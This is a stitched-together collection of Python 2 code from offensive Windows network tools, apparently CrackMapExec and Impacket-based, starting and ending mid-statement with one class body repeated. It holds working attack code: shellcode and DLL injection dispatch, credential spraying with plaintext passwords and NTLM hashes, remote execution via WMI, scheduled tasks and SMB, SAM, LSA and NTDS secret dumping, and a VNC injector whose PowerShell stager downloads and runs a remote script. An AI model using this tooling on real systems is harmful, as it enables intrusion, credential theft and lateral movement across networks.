host, domain, True, smb) if settings.args.inject == "shellcode": EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb) if settings.args.inject == "dll" or settings.args.inject == "exe": EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception as e: logging.critical(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = string.replace(f,'/','\\') logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print os.getcwd() else: os.chdir(s) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data)
class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__(self, dstip, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None, remote_name='', smb_connection=0, doKerberos=False): DCERPCTransport.__init__(self, dstip, dstport) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS) self.__remote_name = remote_name self._doKerberos = doKerberos if smb_connection == 0: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(*smb_connection.getCredentials()) self.__prefDialect = None if isinstance(smb_connection, smb.SMB): # Backward compatibility hack, let's return a # SMBBackwardCompatibilityTransport instance return SMBBackwardCompatibilityTransport(filename = filename, smb_server = smb_connection) else: self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: if self.__remote_name == '': if self.get_dport() == nmb.NETBIOS_SESSION_PORT: self.__smb_connection = SMBConnection('*SMBSERVER', self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect) else: self.__smb_connection = SMBConnection(self.get_dip(), self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect) else: self.__smb_connection = SMBConnection(self.__remote_name, self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection == 0: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash) else: self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, TGT=self._TGT, TGS=self._TGS) self.__tid = self.__smb_connection.connectTree('IPC$') self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection = 0 def send(self,data, forceWriteAndx = 0, forceRecv = 0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset:offset+self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv = 0, count = 0 ): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(*smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): self.args = args self.db = db self.host = host self.module = module self.chain_list = chain_list self.cmeserver = cmeserver self.share_name = share_name self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if (self.password is not None or self.hash is not None) and self.username is not None: if self.module or self.chain_list: if self.chain_list: module = self.chain_list[0]['object'] module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if self.module: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) payload = module.payload(context, None if not hasattr(module, 'command') else module.command) if hasattr(module, 'on_login'): module.on_login(context, self, launcher, payload) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.chain_list: module_list = self.chain_list[:] module_list.reverse() final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) if len(module_list) > 2: for m in module_list: if m['object'] == module or m['object'] == module_list[0]['object']: continue final_launcher = m['object'].launcher(context, final_launcher) if module == module_list[0]['object']: final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command launcher = module.launcher(context, final_launcher) payload = module.payload(context, final_launcher) if hasattr(module, 'on_login'): module.on_login(context, self) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.module is None and self.chain_list is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
class Connection: def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): self.args = args self.db = db self.host = host self.module = module self.chain_list = chain_list self.cmeserver = cmeserver self.share_name = share_name self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if (self.password is not None or self.hash is not None) and self.username is not None: if self.module or self.chain_list: if self.chain_list: module = self.chain_list[0]['object'] module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if self.module: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) payload = module.payload(context, None if not hasattr(module, 'command') else module.command) if hasattr(module, 'on_login'): module.on_login(context, self, launcher, payload) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.chain_list: module_list = self.chain_list[:] module_list.reverse() final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) if len(module_list) > 2: for m in module_list: if m['object'] == module or m['object'] == module_list[0]['object']: continue final_launcher = m['object'].launcher(context, final_launcher) if module == module_list[0]['object']: final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command launcher = module.launcher(context, final_launcher) payload = module.payload(context, final_launcher) if hasattr(module, 'on_login'): module.on_login(context, self) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.module is None and self.chain_list is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)() def over_fail_limit(self, username): global global_failed_logins global user_failed_logins if global_failed_logins == self.args.gfail_limit: return True if self.failed_logins == self.args.fail_limit: return True if username in user_failed_logins.keys(): if self.args.ufail_limit == user_failed_logins[username]: return True return False def check_if_admin(self): if self.args.mssql: try: #I'm pretty sure there has to be a better way of doing this. #Currently we are just searching for our user in the sysadmin group self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") query_output = self.conn.printRows() if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: self.admin_privs = True except: pass elif not self.args.mssql: ''' We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. If this succeeds, the user context has administrator access to the target. Idea stolen from PowerView's Invoke-CheckLocalAdminAccess ''' stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host) rpctransport = transport.DCERPCTransportFactory(stringBinding) rpctransport.set_dport(self.args.smb_port) lmhash = '' nthash = '' if self.hash: if self.hash.find(':') != -1: lmhash, nthash = self.hash.split(':') else: nthash = self.hash if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(scmr.MSRPC_UUID_SCMR) lpMachineName = '{}\x00'.format(self.host) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F) self.admin_privs = True except DCERPCException: pass def plaintext_login(self, domain, username, password): try: if self.args.mssql: res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False) if res is not True: self.conn.printReplies() return False elif not self.args.mssql: self.conn.login(username, password, domain) self.password = password self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.link_cred_to_host('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': global global_failed_logins global user_failed_logins if username not in user_failed_logins.keys(): user_failed_logins[username] = 0 user_failed_logins[username] += 1 global_failed_logins += 1 self.failed_logins += 1 return False def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: if self.args.mssql: res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False) if res is not True: self.conn.printReplies() return False elif not self.args.mssql: self.conn.login(username, '', domain, lmhash, nthash) self.hash = ntlm_hash self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': global global_failed_logins global user_failed_logins if username not in user_failed_logins.keys(): user_failed_logins[username] = 0 user_failed_logins[username] += 1 global_failed_logins += 1 self.failed_logins += 1 return False def login(self): for cred_id in self.args.cred_id: with sem: try: c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0] if not domain: domain = self.domain if self.args.local_auth: domain = self.domain elif self.args.domain: domain = self.args.domain if credtype == 'hash' and not self.over_fail_limit(username): if self.hash_login(domain, username, password): return elif credtype == 'plaintext' and not self.over_fail_limit(username): if self.plaintext_login(domain, username, password): return except IndexError: self.logger.error("Invalid database credential ID!") for user in self.args.username: if type(user) is file: for usr in user: if self.args.hash: with sem: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if not self.over_fail_limit(usr.strip()): if self.hash_login(self.domain, usr.strip(), ntlm_hash): return elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if not self.over_fail_limit(usr.strip()): if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return ntlm_hash.seek(0) elif self.args.password: with sem: for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(usr.strip()): if self.plaintext_login(self.domain, usr.strip(), password): return elif type(password) is file: for f_pass in password: if not self.over_fail_limit(usr.strip()): if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return password.seek(0) elif type(user) is not file: if self.args.hash: with sem: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if not self.over_fail_limit(user): if self.hash_login(self.domain, user, ntlm_hash): return elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if not self.over_fail_limit(user): if self.hash_login(self.domain, user, f_hash.strip()): return ntlm_hash.seek(0) elif self.args.password: with sem: for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(user): if self.plaintext_login(self.domain, user, password): return elif type(password) is file: for f_pass in password: if not self.over_fail_limit(user): if self.plaintext_login(self.domain, user, f_pass.strip()): return password.seek(0) @requires_admin def execute(self, payload=None, get_output=False, methods=None): default_methods = ['wmiexec', 'atexec', 'smbexec'] if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True if self.args.mssql: exec_method = MSSQLEXEC(self.conn) logging.debug('Executed command via mssqlexec') elif not self.args.mssql: if not methods and not self.args.exec_method: methods = default_methods elif methods or self.args.exec_method: if not methods: methods = [self.args.exec_method] for method in methods: if method == 'wmiexec': try: exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) logging.debug('Executed command via wmiexec') break except: logging.debug('Error executing command via wmiexec, traceback:') logging.debug(format_exc()) continue elif method == 'atexec': try: exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share) logging.debug('Executed command via atexec') break except: logging.debug('Error executing command via atexec, traceback:') logging.debug(format_exc()) continue elif method == 'smbexec': try: exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) logging.debug('Executed command via smbexec') break except: logging.debug('Error executing command via smbexec, traceback:') logging.debug(format_exc()) continue if self.cmeserver: self.cmeserver.track_host(self.host) output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8')) if self.args.execute or self.args.ps_execute: self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True return self.execute(create_ps_command(payload), get_output, methods) @requires_admin def sam(self): return DumpSecrets(self).SAM_dump() @requires_admin def lsa(self): return DumpSecrets(self).LSA_dump() @requires_admin def ntds(self): #We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history) @requires_admin def wdigest(self): return getattr(WDIGEST(self), self.args.wdigest)() def shares(self): return ShareEnum(self).enum() @requires_admin def uac(self): return UAC(self).enum() def sessions(self): return RPCQUERY(self).enum_sessions() def disks(self): return RPCQUERY(self).enum_disks() def users(self): return SAMRDump(self).enum() def rid_brute(self): return LSALookupSid(self).brute_force() def pass_pol(self): return PassPolDump(self).enum() def lusers(self): return RPCQUERY(self).enum_lusers() @requires_admin def wmi(self): return WMIQUERY(self).query() def spider(self): spider = SMBSpider(self) spider.spider(self.args.spider, self.args.depth) spider.finish() return spider.results def mssql_query(self): self.conn.sql_query(self.args.mssql_query) return conn.printRows()
class VNCEXEC: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, share=None, doKerberos=False, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__share = share self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.shell = None self.vnc_upload_path = None self.vnc_upload_filename = None self.full_file_path = None self.smbConnection = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] if (len(share) == 2 and share[1] == '$') or share == 'ADMIN$': pass else: logging.info('Bad share %s' % share) continue try: self.smbConnection.createDirectory(share,'ARTKOND') except: # Can't create, pass #import traceback #print traceback.print_exc() logging.critical("share '%s' is not writable." % share) pass else: logging.info('Found writable share %s' % share) self.smbConnection.deleteDirectory(share,'ARTKOND') return str(share) return None def getShares(self): # Setup up a DCE SMBTransport with the connection already in place logging.info("Requesting shares on %s....." % (self.smbConnection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport(self.smbConnection.getRemoteHost(), self.smbConnection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.smbConnection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: logging.critical("Error requesting shares on %s, aborting....." % (self.smbConnection.getRemoteHost())) raise def get_vnc_upload_path(self, share): if share == 'ADMIN$': return "C:\\windows\\temp\\" if len(share) == 2: if share[1] == '$': return share[0] + ":\\" def copy_file(self, file, tree, dst): logging.info("Uploading " + self.vnc_upload_path + self.vnc_upload_filename) pathname = string.replace(dst,'/','\\') try: self.smbConnection.putFile(tree, pathname, file.read) except: logging.critical("Error uploading file %s, aborting....." % dst) raise def upload_vnc(self, addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path): fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares if self.__share is None: shares = self.getShares() self.__share = self.findWritableShare(shares) if self.__share is None: logging.critical("Couldn't find writable share") raise self.vnc_upload_path = self.get_vnc_upload_path(self.__share) if self.vnc_upload_path is None: logging.critical("Can't deduct local path from share name " + self.__share) raise self.vnc_upload_filename = uuid.uuid4().hex[:8] + '.bat' encoded_bat = BatEncode(open(invoke_vnc_path, 'rb').read(), self.vnc_upload_path + self.vnc_upload_filename, self.launch_string) encoded_buffer = encoded_bat.get_buffer() mem_file = StringIO.StringIO(encoded_buffer) if self.__share == 'ADMIN$': self.full_file_path = '\\TEMP\\' + self.vnc_upload_filename else: self.full_file_path = '\\' + self.vnc_upload_filename self.copy_file(mem_file , self.__share, self.full_file_path) fileCopied = True except: raise def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport): if bc_ip is None: bc_ip = '' self.launch_string = 'Invoke-Vnc ' if contype == 'bind': pass elif contype == 'reverse': if bc_ip is None: print 'Ip addr required for reverse connection' sys.exit(1) else: self.launch_string += '-IpAddress ' + bc_ip self.launch_string += ' -ConType ' + contype +' -Port ' + vncport + ' -Password ' + vncpass logging.info("Using powershell launch string '" + self.launch_string + "'") if method == 'upload': logging.info("Connecting to SMB at " + addr) self.smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = self.smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, None) logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename) if contype == 'bind': logging.info("VNC server should start at {0}:{1}".format(addr, vncport)) else: logging.info("Expect reverse VNC connection at port " + vncport) self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename) logging.info("Sleeping 10 seconds to allow bat file to unpack itself before deleting it") time.sleep(10) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("File " + self.__share + self.full_file_path + " deleted") except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.info("Error on executing bat file. Trying to delete it before exiting") self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("{0} deleted".format(self.__share + self.full_file_path)) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() elif method == 'download': if bc_ip == '': logging.critical("-bc-ip needed when using download delivery method") sys.exit(1) ps1_line = "IEX (New-Object System.Net.Webclient).DownloadString('http://{0}:{1}/Invoke-Vnc.ps1'); {2}".format(bc_ip, httpport, self.launch_string) logging.info("Stager: {0}".format(ps1_line)) command = str(PSOneliner(ps1_line)) logging.debug(command) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(None, win32Process, None) self.shell.onecmd(command) while True: pass dcom.disconnect() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.critical("Closing DCOM connection") dcom.disconnect() sys.stdout.flush() raise
class RegHandler: def __init__(self, username, password, domain, options): self.__username = username self.__password = password self.__domain = domain self.__options = options self.__action = options.action.upper() self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__doKerberos = options.k self.__kdcHost = options.dc_ip self.__smbConnection = None self.__remoteOps = None # It's possible that this is defined somewhere, but I couldn't find where self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD', 5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'} if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self, remoteName, remoteHost): self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def run(self, remoteName, remoteHost): self.connect(remoteName, remoteHost) self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) try: self.__remoteOps.enableRegistry() except Exception as e: logging.debug(str(e)) logging.warning('Cannot check RemoteRegistry status. Hoping it is started...') self.__remoteOps.connectWinReg() try: dce = self.__remoteOps.getRRP() if self.__action == 'QUERY': self.query(dce, self.__options.keyName) else: logging.error('Method %s not implemented yet!' % self.__action) except (Exception, KeyboardInterrupt) as e: #import traceback #traceback.print_exc() logging.critical(str(e)) finally: if self.__remoteOps: self.__remoteOps.finish() def query(self, dce, keyName): # Let's strip the root key try: rootKey = keyName.split('\\')[0] subKey = '\\'.join(keyName.split('\\')[1:]) except Exception: raise Exception('Error parsing keyName %s' % keyName) if rootKey.upper() == 'HKLM': ans = rrp.hOpenLocalMachine(dce) elif rootKey.upper() == 